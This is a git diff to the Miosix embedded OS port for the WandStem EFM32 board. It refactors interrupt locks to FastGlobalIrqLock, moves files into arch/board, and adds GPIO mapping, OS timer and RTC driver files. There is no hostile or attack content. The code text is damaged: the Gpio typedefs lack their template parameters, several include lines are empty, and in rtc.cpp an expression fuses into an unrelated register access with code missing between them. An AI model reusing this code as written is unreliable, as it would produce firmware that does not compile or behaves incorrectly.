@@ void __attribute__((used)) cstirqhnd2(){ * This takes about 2.5us to execute, so the Pin can't stay high for less than this value, * and we can't set more interrupts in a period of 2.5us+ */ -void __attribute__((used)) cstirqhnd1(){ +void cstirqhnd1(){ if ((TIMER1->IEN & TIMER_IEN_CC1) && (TIMER1->IF & TIMER_IF_CC1)){ TIMER1->IFC = TIMER_IFC_CC1; callScheduler(); @@ -341,8 +317,6 @@ void __attribute__((used)) cstirqhnd1(){ //Reactivating the thread that is waiting for the event, WITHOUT changing the tWaiting if(gpioWaiting){ gpioWaiting->IRQwakeup(); - if(gpioWaiting->IRQgetPriority()>Thread::IRQgetCurrentThread()->IRQgetPriority()) - Scheduler::IRQfindNextThread(); } } } @@ -389,27 +363,17 @@ long long HRTB::IRQgetCurrentTickVht(){ return IRQgetTickCorrectedVht(); } -Thread* HRTB::IRQgpioWait(long long tick,FastInterruptDisableLock *dLock){ - do{ - gpioWaiting=Thread::IRQgetCurrentThread(); - Thread::IRQwait(); - { - FastInterruptEnableLock eLock(*dLock); - Thread::yield(); - } - }while(gpioWaiting && tick>IRQgetTick()); +Thread* HRTB::IRQgpioWait(long long tick,FastGlobalIrqLock *dLock) +{ + gpioWaiting=Thread::IRQgetCurrentThread(); + do Thread::IRQglobalIrqUnlockAndWait(*dLock); while(gpioWaiting && tick>IRQgetTick()); return gpioWaiting; } -Thread* HRTB::IRQtransceiverWait(long long tick,FastInterruptDisableLock *dLock){ - do { - transceiverWaiting=Thread::IRQgetCurrentThread(); - Thread::IRQwait(); - { - FastInterruptEnableLock eLock(*dLock); - Thread::yield(); - } - } while(transceiverWaiting && tick>IRQgetTick()); +Thread* HRTB::IRQtransceiverWait(long long tick,FastGlobalIrqLock *dLock) +{ + transceiverWaiting=Thread::IRQgetCurrentThread(); + do Thread::IRQglobalIrqUnlockAndWait(*dLock); while(transceiverWaiting && tick>IRQgetTick()); return transceiverWaiting; } @@ -466,17 +430,17 @@ inline void HRTB::enableCC1InterruptTim2(bool enable){ } long long HRTB::getCurrentTick() noexcept { - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; return IRQgetTick(); } long long HRTB::getCurrentTickCorrected(){ - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; return IRQgetTickCorrected(); } long long HRTB::getCurrentTickVht(){ - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; return IRQgetTickCorrectedVht(); } @@ -681,7 +645,7 @@ WaitResult HRTB::IRQsetTransceiverTimeout(long long tick){ bool HRTB::gpioAbsoluteWaitTrigger(long long tick){ { - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; if(isInputGPIO){ setModeGPIOTimer(false); //output timer expansion::gpio10::mode(Mode::OUTPUT); //output pin @@ -698,7 +662,7 @@ bool HRTB::gpioAbsoluteWaitTrigger(long long tick){ } bool HRTB::gpioAbsoluteWaitTimeoutOrEvent(long long tick){ - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; WaitResult r=IRQsetGPIOtimeout(tick); //Important optimization that allows us to save 1.5us @@ -740,7 +704,7 @@ void HRTB::initGPIO(){ } bool HRTB::transceiverAbsoluteWaitTrigger(long long tick){ - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; setModeTransceiverTimer(false); if(IRQsetNextTransceiverInterrupt(tick)==WaitResult::WAKEUP_IN_THE_PAST){ @@ -752,7 +716,7 @@ bool HRTB::transceiverAbsoluteWaitTrigger(long long tick){ } bool HRTB::transceiverAbsoluteWaitTimeoutOrEvent(long long tick){ - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; WaitResult r=IRQsetTransceiverTimeout(tick); setModeTransceiverTimer(true); @@ -793,55 +757,58 @@ HRTB& HRTB::instance(){ return hrtb; } -HRTB::HRTB() { +HRTB::HRTB() +{ //Power the timers up and PRS system { - InterruptDisableLock l; + GlobalIrqLock l; CMU->HFPERCLKEN0 |= CMU_HFPERCLKEN0_TIMER1 | CMU_HFPERCLKEN0_TIMER2 | CMU_HFPERCLKEN0_TIMER3 | CMU_HFPERCLKEN0_PRS; - } - //Configure Timers - TIMER1->CTRL = TIMER_CTRL_MODE_UP | TIMER_CTRL_CLKSEL_PRESCHFPERCLK - | TIMER_CTRL_PRESC_DIV1 | TIMER_CTRL_SYNC; - TIMER2->CTRL = TIMER_CTRL_MODE_UP | TIMER_CTRL_CLKSEL_PRESCHFPERCLK - | TIMER_CTRL_PRESC_DIV1 | TIMER_CTRL_SYNC; - TIMER3->CTRL = TIMER_CTRL_MODE_UP | TIMER_CTRL_CLKSEL_TIMEROUF - | TIMER_CTRL_SYNC; - - //Code to entirely reset TIMER1, needed if you want run after the flash - TIMER1->CMD=TIMER_CMD_STOP; - TIMER1->CTRL=0; - TIMER1->ROUTE=0; - TIMER1->IEN=0; - TIMER1->IFC=~0; - TIMER1->TOP=0xFFFF; - TIMER1->CNT=0; - TIMER1->CC[0].CTRL=0; - TIMER1->CC[0].CCV=0; - TIMER1->CC[1].CTRL=0; - TIMER1->CC[1].CCV=0; - TIMER1->CC[2].CTRL=0; - TIMER1->CC[2].CCV=0; - - - //Enable necessary interrupt lines - TIMER1->IEN = 0; - TIMER3->IEN = TIMER_IEN_OF; //OF needed to increment the software counter (32-bit) - - TIMER1->CC[1].CTRL = TIMER_CC_CTRL_MODE_OUTPUTCOMPARE; - TIMER3->CC[1].CTRL = TIMER_CC_CTRL_MODE_OUTPUTCOMPARE; - - NVIC_SetPriority(TIMER1_IRQn,3); - // Priority 8, this is very important, it MUST be a lower priority than RTC priority - NVIC_SetPriority(TIMER2_IRQn,8); - NVIC_SetPriority(TIMER3_IRQn,3); - NVIC_ClearPendingIRQ(TIMER1_IRQn); - NVIC_ClearPendingIRQ(TIMER2_IRQn); - NVIC_ClearPendingIRQ(TIMER3_IRQn); - NVIC_EnableIRQ(TIMER1_IRQn); - NVIC_EnableIRQ(TIMER2_IRQn); - NVIC_EnableIRQ(TIMER3_IRQn); + //Configure Timers + TIMER1->CTRL = TIMER_CTRL_MODE_UP | TIMER_CTRL_CLKSEL_PRESCHFPERCLK + | TIMER_CTRL_PRESC_DIV1 | TIMER_CTRL_SYNC; + TIMER2->CTRL = TIMER_CTRL_MODE_UP | TIMER_CTRL_CLKSEL_PRESCHFPERCLK + | TIMER_CTRL_PRESC_DIV1 | TIMER_CTRL_SYNC; + TIMER3->CTRL = TIMER_CTRL_MODE_UP | TIMER_CTRL_CLKSEL_TIMEROUF + | TIMER_CTRL_SYNC; + + //Code to entirely reset TIMER1, needed if you want run after the flash + TIMER1->CMD=TIMER_CMD_STOP; + TIMER1->CTRL=0; + TIMER1->ROUTE=0; + TIMER1->IEN=0; + TIMER1->IFC=~0; + TIMER1->TOP=0xFFFF; + TIMER1->CNT=0; + TIMER1->CC[0].CTRL=0; + TIMER1->CC[0].CCV=0; + TIMER1->CC[1].CTRL=0; + TIMER1->CC[1].CCV=0; + TIMER1->CC[2].CTRL=0; + TIMER1->CC[2].CCV=0; + + //Enable necessary interrupt lines + TIMER1->IEN = 0; + TIMER3->IEN = TIMER_IEN_OF; //OF needed to increment the software counter (32-bit) + + TIMER1->CC[1].CTRL = TIMER_CC_CTRL_MODE_OUTPUTCOMPARE; + TIMER3->CC[1].CTRL = TIMER_CC_CTRL_MODE_OUTPUTCOMPARE; + + //FIXME: in Miosix 2 the timer 1 and 3 priority was set to 3 like in all + //other architectures, the RTC priority was set to 7 and TIMER2 to 8. + //However, the EFM32 only has 3 bits of priority unlike the STM32 so setting + //priority to 8 effectively set it to 0, the highest one! + //In Miosix 3 we changed the default priority values but for now we keep this + //wrong line here in case the priority 0 is important. + //This code needs a refactoring anyway... + + // Priority 8, this is very important, it MUST be a lower priority than RTC priority + NVIC_SetPriority(TIMER2_IRQn,8); + IRQregisterIrq(l,TIMER1_IRQn,cstirqhnd1); + IRQregisterIrq(l,TIMER2_IRQn,cstirqhnd2); + IRQregisterIrq(l,TIMER3_IRQn,cstirqhnd3); + } tc=new TimeConversion(HRTB::freq); //Start timers @@ -856,7 +823,7 @@ HRTB::HRTB() { rtc=&Rtc::instance(); { - InterruptDisableLock l; + GlobalIrqLock l; int nowRtc; long long nowHrt; @@ -884,9 +851,8 @@ HRTB::HRTB() { RTC->IFC=RTC_IFC_COMP1; TIMER2->IFC=TIMER_IFC_CC2; //conversion factor between RTC and HRT is 48e6/32768=1464+3623878656/2^32 - #if EFM32_HFXO_FREQ!=48000000 || EFM32_LFXO_FREQ!=32768 - #error "Clock frequency assumption not satisfied" - #endif + static_assert(oscillatorFrequency==48000000 && rtcOscillatorFrequency==32768, + "Clock frequency assumption not satisfied"); nowHrt=mul64x32d32(nowRtc, 1464, 3623878656); HRTB::clockCorrection=nowHrt-timestamp; HRTB::syncPointHrtExpected=nowHrt; diff --git a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/hrtb.h b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/hrtb.h similarity index 97% rename from miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/hrtb.h rename to miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/hrtb.h index b238a621b..9d3d824cd 100644 --- a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/hrtb.h +++ b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/hrtb.h @@ -138,8 +138,8 @@ class HRTB { WaitResult IRQsetGPIOtimeout(long long tick); WaitResult IRQsetTransceiverTimeout(long long tick); - Thread* IRQgpioWait(long long tick,FastInterruptDisableLock* dLock); - Thread* IRQtransceiverWait(long long tick,FastInterruptDisableLock *dLock); + Thread* IRQgpioWait(long long tick,FastGlobalIrqLock* dLock); + Thread* IRQtransceiverWait(long long tick,FastGlobalIrqLock *dLock); void initTransceiver(); bool transceiverAbsoluteWaitTimeoutOrEvent(long long tick); diff --git a/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/hwmapping.h b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/hwmapping.h new file mode 100644 index 000000000..9c762c095 --- /dev/null +++ b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/hwmapping.h @@ -0,0 +1,183 @@ +/*************************************************************************** + * Copyright (C) 2015, 2016 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#ifndef HWMAPPING_H +#define HWMAPPING_H + +#include "interfaces/gpio.h" +#include "board_settings.h" + +//NOTE: WANDSTEM_HW_REV is now defined in board_settings.h + +namespace miosix { + +typedef Gpio redLed; +typedef Gpio greenLed; //Also pin 20 of expansion connector + +//Also connected to a pin of the expansion connector in some revisions +//rev 1.0 pin 19 +//rev 1.1 pin 30 +//rev 1.2 pin 30 +//rev 1.3 no longer connected to the expansion connector +typedef Gpio userButton; + +//This is used for the VHT implementation, allowing to resynchronize +//the high frequency timer with the RTC every time the node goes out +//of deep sleep giving the impression of having an uninterrupted +//high frequency clock. The 32KHz frequency is also output on pin 26 +//of the expansion connector providing a low frequency clock to +//daughter boards +typedef Gpio loopback32KHzIn; +typedef Gpio loopback32KHzOut; + +#if WANDSTEM_HW_REV>12 +//low = 2.3V +//high = 3.1V +typedef Gpio voltageSelect; +#endif + +#if WANDSTEM_HW_REV>13 +//Revision 1.4 separated the radio power management from expansion connector +//power management. Before revision 1.4, transceiver::vregEn served both +//functions, while starting from revision 1.4, this pin controls the power +//switch for the expansion connector, and transceiver::vregEn controls the +//cc2520 and flash power domain +typedef Gpio powerSwitch; +#endif //rev 1.4 or higher + +namespace expansion { +//The 30-pin expansion connector exposes some pins of the microcontroller +//that are freely usable as GPIO by daughter boards, and are named from gpio0 +//to gpio19. Each GPIO can have up to two alternate functions. +//Revision 1.4 uses reserves two GPIOs for internal use, the former gpio3 and +//gpio17, reducing the GPIO count from 20 to 18. +//MCU pin GPIO# CONN# AF1 AF2 +#if WANDSTEM_HW_REV==10 +typedef Gpio gpio0; // 1 ADC_CH0 +typedef Gpio gpio1; // 2 ADC_CH1 +typedef Gpio gpio2; // 3 ADC_CH2 LETIMER0 +#else //rev 1.1 or greater +typedef Gpio gpio0; // 1 ADC_CH0 +typedef Gpio gpio1; // 2 ADC_CH1 LETIMER0 +typedef Gpio gpio2; // 3 ADC_CH2 +#endif +#if WANDSTEM_HW_REV<14 +typedef Gpio gpio3; // 4 ADC_CH3 reserved in rev 1.4 +#endif //rev 1.3 or lower +typedef Gpio gpio4; // 7 SPI_CS LETIMER1 +typedef Gpio gpio5; // 8 SPI_SCK +typedef Gpio gpio6; // 9 SPI_MISO USART_RX +typedef Gpio gpio7; // 10 SPI_MOSI USART_TX +typedef Gpio gpio8; // 11 I2C_SDA LEUSART_TX +typedef Gpio gpio9; // 12 I2C_SCL LEUSART_RX +typedef Gpio gpio10; // 13 TIMESTAMP_IN/OUT +typedef Gpio gpio11; // 14 DAC_OUT +typedef Gpio gpio12; // 15 PWM0 PRS0 +typedef Gpio gpio13; // 16 PWM1 PRS1 +typedef Gpio gpio14; // 18 EXC_ACMP1 +typedef Gpio gpio15; // 23 ACMP0 +typedef Gpio gpio16; // 24 ACMP1 +#if WANDSTEM_HW_REV<14 +typedef Gpio gpio17; // 25 ACMP2 reserved in rev 1.4 +#endif //rev 1.3 or lower +typedef Gpio gpio18; // 27 PCNT_A +typedef Gpio gpio19; // 28 PCNT_B +} //namespace expansion + +namespace internalSpi { +//The internal SPI is shared between the radio transceiver (CC2520) and flash +//(IS25LP128). In addition, the CC2520 can be configured to output an analog +//value proportional to its temperature on a pin that is shared with sck +typedef Gpio mosi; +typedef Gpio miso; +typedef Gpio sck; //Also cc2520_tempsensor (analog) +} //namespace internalSpi + +namespace transceiver { +//The radio transceiver. The exception channel B and STXON are connected to +//a timer input capture and output compare channel for precise packet timing +typedef Gpio cs; +typedef Gpio reset; +typedef Gpio vregEn; //Also power switch enable before rev 1.4 +typedef Gpio gpio1; +typedef Gpio gpio2; +typedef Gpio excChB; //including SFD and FRM_DONE +#if WANDSTEM_HW_REV<13 +typedef Gpio gpio4; +#endif +typedef Gpio stxon; +} //namespace transceiver + +namespace flash { +//The on-board flash is a 16MByte IS25LP128, works down to 2.3V +typedef Gpio cs; +typedef Gpio hold; +} //namespace flash + +namespace currentSense { +//The current sensor uses a MAX44284F and 0.12ohm shunt resistor. +//Using the internal 1.25V reference for the ADC, the measurement range is 208mA +//and the resolution is ~51uA. The current sensor can sense the consumption of +//all the components on the board (MCU, transceiver, flash) and also of the +//components on the daughter board, unless they are hooked up to the VBAT line. +typedef Gpio enable; +#if WANDSTEM_HW_REV==10 +typedef Gpio sense; //Analog, also pin 5 of expansion connector +#else //rev 1.1 or greater +typedef Gpio sense; //Analog, also pin 5 of expansion connector +#endif +} //namespace currentSense + +//Rev 1.4 introduced a sensor for the battery voltage. This is done using a +//voltage divider that is enabled when the cc2520 voltage domain is enabled. +//The voltage that can be sensed at this point is the battery voltage +//multiplied by 0.237 +#if WANDSTEM_HW_REV>13 +typedef Gpio voltageSense; +#endif //rev 1.4 or higher + +namespace debugConnector { +//The debug connector exposes a serial port for printf/scanf debugging, and +//the SWD debug interface. The connector is also used to start the bootloader +//to upload code to the board, by pulling SWCLK high and resetting the board. +//The bootloader can load code either using the serial port or the USB port. +//Finally, also the MCU reset is exposed. +typedef Gpio tx; //kernel serial port +typedef Gpio rx; //kernel serial port +typedef Gpio swclk; //SWD (also pull high to start bootloader) +typedef Gpio swdio; //SWD +} //namespace debugConnector + +namespace usb { +//USB lines +typedef Gpio dm; +typedef Gpio dp; +} //namespace usb + +} //namespace miosix + +#endif //HWMAPPING_H diff --git a/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/os_timer.cpp b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/os_timer.cpp new file mode 100644 index 000000000..5b03656f3 --- /dev/null +++ b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/os_timer.cpp @@ -0,0 +1,87 @@ +/*************************************************************************** + * Copyright (C) 2016 by Fabiano Riccardi, Sasan * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces_private/os_timer.h" +#include "kernel/timeconversion.h" +#include "vht.h" +#include "virtual_clock.h" + +using namespace miosix; + +namespace miosix { + +static HRTB *b=nullptr; +static TimeConversion tc; +static VHT *vht=nullptr; +static VirtualClock *vt=nullptr; +extern long long irqNs; + +long long getTime() noexcept +{ + return tc.tick2ns(vt->uncorrected2corrected(vht->uncorrected2corrected(b->addBasicCorrection(b->getCurrentTick())))); +} + +long long IRQgetTime() noexcept +{ + return tc.tick2ns(vt->uncorrected2corrected(vht->uncorrected2corrected(b->addBasicCorrection(b->IRQgetCurrentTick())))); +} + +void IRQosTimerInit() +{ + b=&HRTB::instance(); + tc=TimeConversion(b->getTimerFrequency()); + vht=&VHT::instance(); + vt=&VirtualClock::instance(); +} + +void IRQosTimerSetInterrupt(long long ns) noexcept +{ + irqNs=ns; + b->IRQsetNextInterruptCS(b->removeBasicCorrection(vht->corrected2uncorrected(vt->corrected2uncorrected(tc.ns2tick(ns))))); +} + +long long IRQosTimerGetInterrupt() noexcept +{ + return irqNs; +} + +// long long ContextSwitchTimer::getNextInterrupt() const +// { +// return tc->tick2ns(vt->uncorrected2corrected(vht->uncorrected2corrected(pImpl->b.addBasicCorrection(pImpl->b.IRQgetSetTimeCS())))); +// } + +// void IRQosTimerSetTime(long long ns) noexcept +// { +// //TODO +// } + +unsigned int osTimerGetFrequency() +{ + return b->getTimerFrequency(); +} + +} //namespace miosix diff --git a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/power_manager.cpp b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/power_manager.cpp similarity index 97% rename from miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/power_manager.cpp rename to miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/power_manager.cpp index b5166d2cb..5eec6c14a 100644 --- a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/power_manager.cpp +++ b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/power_manager.cpp @@ -74,9 +74,9 @@ void PowerManager::deepSleepUntil(long long int when/*, Unit unit*/) ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - Lock l(powerMutex); //To access reference counts freely + Lock l(powerMutex); //To access reference counts freely PauseKernelLock pkLock; //To run unexpected IRQs without context switch - FastInterruptDisableLock dLock; //To do everything else atomically + FastGlobalIrqLock dLock; //To do everything else atomically const int timeToSyncAfterWakeup = 3; @@ -126,7 +126,7 @@ void PowerManager::deepSleepUntil(long long int when/*, Unit unit*/) NVIC_ClearPendingIRQ(RTC_IRQn); break; }else{ - FastInterruptEnableLock eLock(dLock); + FastGlobalIrqUnlock eLock(dLock); // Here interrupts are enabled, so the software part of RTC // can be updated // NOP operation to be sure that the interrupt can be executed @@ -142,7 +142,7 @@ void PowerManager::deepSleepUntil(long long int when/*, Unit unit*/) //serving can't cause a context switch and fuck up things. IRQresyncClock(); { - FastInterruptEnableLock eLock(dLock); + FastGlobalIrqUnlock eLock(dLock); //Here interrupts are enabled, so the interrupt gets served __NOP(); } @@ -185,7 +185,7 @@ void PowerManager::deepSleepUntil(long long int when/*, Unit unit*/) void PowerManager::enableTransceiverPowerDomain() { - Lock l(powerMutex); + Lock l(powerMutex); if(transceiverPowerDomainRefCount==0) { //Enable power domain @@ -212,7 +212,7 @@ void PowerManager::enableTransceiverPowerDomain() void PowerManager::disableTransceiverPowerDomain() { - Lock l(powerMutex); + Lock l(powerMutex); transceiverPowerDomainRefCount--; if(transceiverPowerDomainRefCount==0) { @@ -239,7 +239,7 @@ bool PowerManager::isTransceiverPowerDomainEnabled() const void PowerManager::enableSensorPowerDomain() { #if WANDSTEM_HW_REV>13 - Lock l(powerMutex); + Lock l(powerMutex); if(sensorPowerDomainRefCount==0) { powerSwitch::high(); @@ -254,7 +254,7 @@ void PowerManager::enableSensorPowerDomain() void PowerManager::disableSensorPowerDomain() { #if WANDSTEM_HW_REV>13 - Lock l(powerMutex); + Lock l(powerMutex); sensorPowerDomainRefCount--; if(sensorPowerDomainRefCount==0) { @@ -282,7 +282,7 @@ void PowerManager::enableHighRegulatorVoltage() { //Nodes prior to rev 1.3 have no switching voltage regulator #if WANDSTEM_HW_REV>12 - Lock l(powerMutex); + Lock l(powerMutex); if(regulatorVoltageRefCount==0) { voltageSelect::high(); @@ -300,7 +300,7 @@ void PowerManager::disableHighRegulatorVoltage() { //Nodes prior to rev 1.3 have no switching voltage regulator #if WANDSTEM_HW_REV>12 - Lock l(powerMutex); + Lock l(powerMutex); regulatorVoltageRefCount--; if(regulatorVoltageRefCount==0) { @@ -330,7 +330,7 @@ PowerManager::PowerManager() rtc(Rtc::instance()), vht(VHT::instance()), vt(VirtualClock::instance()), - tc(EFM32_HFXO_FREQ) {} + tc(oscillatorFrequency) {} void PowerManager::IRQpreDeepSleep(Transceiver& rtx) { diff --git a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/power_manager.h b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/power_manager.h similarity index 99% rename from miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/power_manager.h rename to miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/power_manager.h index 7f33eec6b..50ac21831 100644 --- a/miosix/arch/cortexM3_efm32gg/efm32gg332f1024_wandstem/interfaces-impl/power_manager.h +++ b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/power_manager.h @@ -184,7 +184,7 @@ class PowerManager int transceiverPowerDomainRefCount; int sensorPowerDomainRefCount; int regulatorVoltageRefCount; - FastMutex powerMutex; + KernelMutex powerMutex; bool wasTransceiverTurnedOn; bool transceiverPowerDomainExplicitDelayNeeded; Spi& spi; diff --git a/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/rtc.cpp b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/rtc.cpp new file mode 100644 index 000000000..56c25b510 --- /dev/null +++ b/miosix/arch/board/efm32gg332f1024_wandstem/interfaces-impl/rtc.cpp @@ -0,0 +1,300 @@ +/*************************************************************************** + * Copyright (C) 2012 by Terraneo Federico * + * Copyright (C) 2013, 2014 by Terraneo Federico and Luigi Rinaldi * + * Copyright (C) 2015, 2016 by Terraneo Federico, Luigi Rinaldi and * + * Silvano Seva * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "rtc.h" +#include +#include "interfaces/interrupts.h" +#include "gpioirq.h" +#include "miosix_settings.h" +#include "hrtb.h" +#include "hwmapping.h" + +using namespace miosix; + +//enum class WaitResult +//{ +// WAKEUP_IN_THE_PAST, +// WAIT_COMPLETED, +// EVENT +//}; + +const unsigned int timerBits=24; +const unsigned long long overflowIncrement=(1LL<CNT; + if((RTC->IF & _RTC_IFC_OF_MASK) && RTC->CNT>=counter) + return (swCounter | static_cast(counter)) + overflowIncrement; + return swCounter | static_cast(counter); +} + +/** + * Common part of all wait functions + * \param value absolute time point when the wait has to end + * \param eventSensitive if true, return prematurely if an event occurs + * \return the condition that caused the function to return + */ +static WaitResult waitImpl(long long value, bool eventSensitive) +{ + auto eventPin=transceiver::excChB::getPin(); + //EFM32 compare channels trigger 1 tick late (undocumented quirk) + RTC->COMP0=(value-1) & 0xffffff; + while(RTC->SYNCBUSY & RTC_SYNCBUSY_COMP0) ; + + FastGlobalIrqLock dLock; + //NOTE: this is very important, enabling the interrupt without clearing the + //interrupt flag causes the function to return prematurely, sometimes + RTC->IFC=RTC_IFC_COMP0; + RTC->IEN |= RTC_IEN_COMP0; + + if(eventSensitive) + { + //To avoid race condition, first enable irq, then check for event + IRQenableGpioIrq(eventPin); + //Event occurred. Note that here we assume as event model a device + //that raises the pin and holds it until some action such as writing + //to its registers to clear the pin, as is the case with the cc2520 + //so if the event occurred in the past and we were waiting for that + //event, the pin is surely high. A device that raises the pin just + //briefly would cause a race condition + if(miosix::transceiver::excChB::value()==1) + { + IRQdisableGpioIrq(eventPin); + RTC->IFC=RTC_IFC_COMP0; + RTC->IEN &= ~RTC_IEN_COMP0; + return WaitResult::EVENT; + } + eventOccurred=false; + } + + //NOTE: the corner case where the wakeup is now is considered "in the past" + if(value<=IRQreadRtc()) + { + if(eventSensitive) IRQdisableGpioIrq(eventPin); + RTC->IFC=RTC_IFC_COMP0; + RTC->IEN &= ~RTC_IEN_COMP0; + return WaitResult::WAKEUP_IN_THE_PAST; + } + + //The readRtc() check in the while is for waits past one RTC period + rtcWaiting=Thread::IRQgetCurrentThread(); + do Thread::IRQglobalIrqUnlockAndWait(dLock); while(rtcWaiting && value>IRQreadRtc()); + RTC->IEN &= ~RTC_IEN_COMP0; + if(eventSensitive) + { + IRQdisableGpioIrq(eventPin); + if(eventOccurred) return WaitResult::EVENT; + } + return WaitResult::WAIT_COMPLETED; +} + +/** + * Event timestamping pin interrupt actual implementation + */ +// void GPIO8Handler() +// { +// timestampEvent=IRQreadRtc(); +// eventOccurred=true; +// +// if(!rtcWaiting) return; +// rtcWaiting->IRQwakeup(); +// rtcWaiting=nullptr; +// } + +namespace miosix { + +// +// class Rtc +// + +Rtc& Rtc::instance() +{ + static Rtc timer; + return timer; +} + +long long Rtc::getValue() const +{ + //readRtc() is not reentrant, and is also called in the GPIO timestamp irq + FastGlobalIrqLock dLock; + return IRQreadRtc(); +} + +long long int Rtc::IRQgetValue() const +{ + return IRQreadRtc(); +} + +void Rtc::setValue(long long value) +{ + //Stop timer and wait for it to be stopped + RTC->CTRL=0; + unsigned int hwCounter=value & 0x0000000000ffffffull; + while(RTC->SYNCBUSY & RTC_SYNCBUSY_CTRL) ; + + RTC->CNT=hwCounter; + + //Restart timer as soon as possible + RTC->CTRL=RTC_CTRL_EN; + swCounter=value & 0xffffffffff000000ull; + lastHwCounter=hwCounter; + while(RTC->SYNCBUSY & RTC_SYNCBUSY_CTRL) ; +} + +void Rtc::wait(long long value) +{ + waitImpl(getValue()+value,false); +} + +bool Rtc::absoluteWait(long long value) +{ + return waitImpl(value,false)==WaitResult::WAKEUP_IN_THE_PAST; +} + +bool Rtc::absoluteWaitTrigger(long long value) +{ + rtcTriggerEnable=true; + bool result=waitImpl(value,false)==WaitResult::WAKEUP_IN_THE_PAST; + rtcTriggerEnable=false; + return result; +} + +bool Rtc::waitTimeoutOrEvent(long long value) +{ + return waitImpl(getValue()+value,true)!=WaitResult::EVENT; +} + +bool Rtc::absoluteWaitTimeoutOrEvent(long long value) +{ + return waitImpl(value,true)!=WaitResult::EVENT; +} + +long long Rtc::getExtEventTimestamp(Correct c) const +{ + return timestampEvent; +} + +long long int Rtc::tick2ns(long long int tick) +{ + return tc.tick2ns(tick); +} + +long long int Rtc::ns2tick(long long int ns) +{ + return tc.ns2tick(ns); +} + +unsigned int Rtc::getTickFrequency() const +{ + return frequency; +} + +Rtc::Rtc() : tc(frequency) +{ + GlobalIrqLock dLock; + + // + // Configure timer + // + + //The LFXO is already started by the BSP + CMU->HFCORECLKEN0 |= CMU_HFCORECLKEN0_LE; //Enable clock to LE peripherals + CMU->LFACLKEN0 |= CMU_LFACLKEN0_RTC; + while(CMU->SYNCBUSY & CMU_SYNCBUSY_LFACLKEN0) ; + + RTC->CNT=0; + + RTC->CTRL=RTC_CTRL_EN; + while(RTC->SYNCBUSY & RTC_SYNCBUSY_CTRL) ; + + //In the EFM32GG332F1024 the RTC has two compare channels, used in this way: + //COMP0 